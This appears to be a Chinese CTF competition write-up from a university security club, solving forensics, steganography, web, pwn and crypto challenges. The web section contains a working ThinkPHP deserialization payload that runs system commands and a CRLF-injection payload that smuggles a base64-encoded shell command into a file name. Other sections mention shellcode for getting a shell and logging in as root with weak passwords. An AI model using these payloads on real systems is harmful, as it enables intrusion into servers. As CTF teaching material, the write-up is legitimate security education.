WP来自齐鲁师范学院网络安全社团
MISC
ez_usb
文件-导出特定分组
1 | tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txt |
得到加密的压缩包,同样方式提取
得到压缩包密码
output :35c535765e50074a
解密得到flag
flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}
everlasting_night
stegsolve 查看图片发现
得到一个密码,考虑 lsb 隐写加密
1 | python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b |
得到 zip,发现被加密,想到 png 后面还有一串字符没用
经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码
ohhWh04m1
010 打开发现 png 但是不是正常的图片,gimp 打开看一下
flag{607f41da-e849-4c0b-8867-1b3c74536cc4}
babydisk
附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载
挂载后能看到有个 wav
右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的
现在的问题是需要一个密码,那就谷歌搜一下
里面的文章恰好完成了我们的需求
https://blog.csdn.net/weixin_45696568/article/details/118573215
1 | #!/usr/bin/env python3 |
先使用脚本获取一 hash 再用 john 爆破就好了
得到密码是 feedback
得到 key.txt
这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下
在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载
spiral 是一个 zip,然后发现里面的数据很乱
下面是复现部分。
搜索一下spiral
https://blog.csdn.net/GW_wg/article/details/120406192
1 | def function(n): |
WEB
Ezpop
扫目录发现 www.zip,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链
poc
1 | <?php |
生成 poc
1 | a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D |
访问路由 index.php/index/test
online_crt
下载代码进行审计
app.py
1 | @app.route('/getcrt', methods=['GET', 'POST']) |
生成 crt 证书
1 | @app.route('/createlink', methods=['GET']) |
可以看到 admin 函数替换名字,也就是说文件名称是可以控制的
也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数
ls 进行列目录
c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。
访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包
最终 payload
1 | uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a |
首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名
然后 createlink 去执行命令看到 flag
PWN
login-nomal
通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell
1 | from pwn import * |
CRY
基于挑战码的双向认证1
非预期
用户名密码均为player
cd /root/cube-shell/instance/flag_server
直接 catflag 即可
基于挑战码的双向认证2
非预期
cat flag2.txt
基于挑战码的双向认证2
非预期
弱密码
su root、toor 密码
签到电台
根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码:
1732 2514 1344 0356 0451 6671 0055
知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位
脚本:
1 | key = '6561607990115808526135662113' |
用url传参把结果传进去,就能拿到flag
ISO9798
申请容器,用自己的服务器 nc 容器
根据提示爆破四位的字符串
脚本:
1 | from hashlib import sha256 |
输入个数字作为RB的值
根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接
https://www.doc88.com/p-1496121116297.html
1 | s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2' |
输入计算的值,得到flag